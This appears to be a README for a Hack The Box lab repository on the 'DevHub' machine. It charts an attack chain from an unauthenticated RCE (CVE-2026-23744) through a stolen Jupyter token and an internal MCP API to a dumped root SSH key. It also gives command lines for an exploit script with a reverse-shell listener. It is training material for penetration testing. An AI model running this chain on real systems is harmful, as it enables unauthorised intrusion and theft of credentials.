thisisish/htb-devhubCVE-2026-23744 RCE + 特権昇格
難易度: Medium
OS: Linux
┌─────────────────────────────────────────────────────┐
│ CVE-2026-23744 │
│ Unauthenticated POST → /api/mcp/connect │
└─────────────────────┬───────────────────────────────┘
↓
Shell as mcp-dev
↓
┌─────────────────────────────────────────────────────┐
│ portfwd 8888 → Jupyter Notebook Token Grab │
└─────────────────────┬───────────────────────────────┘
↓
Browser → http://127.0.0.1:8888
↓
Shell as analyst via notebook cell
↓
┌─────────────────────────────────────────────────────┐
│ cat /opt/opsmcp/server.py │
└─────────────────────┬───────────────────────────────┘
↓
portfwd 5000 → OPSMCP API
↓
↓
/root/.ssh/id_rsa dumped
↓
┌─────────────────────────────────────────────────────┐
│ ssh -i root_id_rsa [email protected] │
│ ROOT ★ │
└─────────────────────────────────────────────────────┘
| File | Description |
|---|---|
exploit.py | CVE-2026-23744 RCEエクスプロイト（脆弱性チェック付き） |
enum.py | ローカル列挙 — Jupyter、MCP、Python、権限昇格 |
# Exploit
python3 exploit.py -t devhub.htb -l <your_ip> -r 4444
# Enumeration (once on box)
python3 enum.py --section all
python3 enum.py --section jupyter
教育目的および許可されたテストのみを対象としています。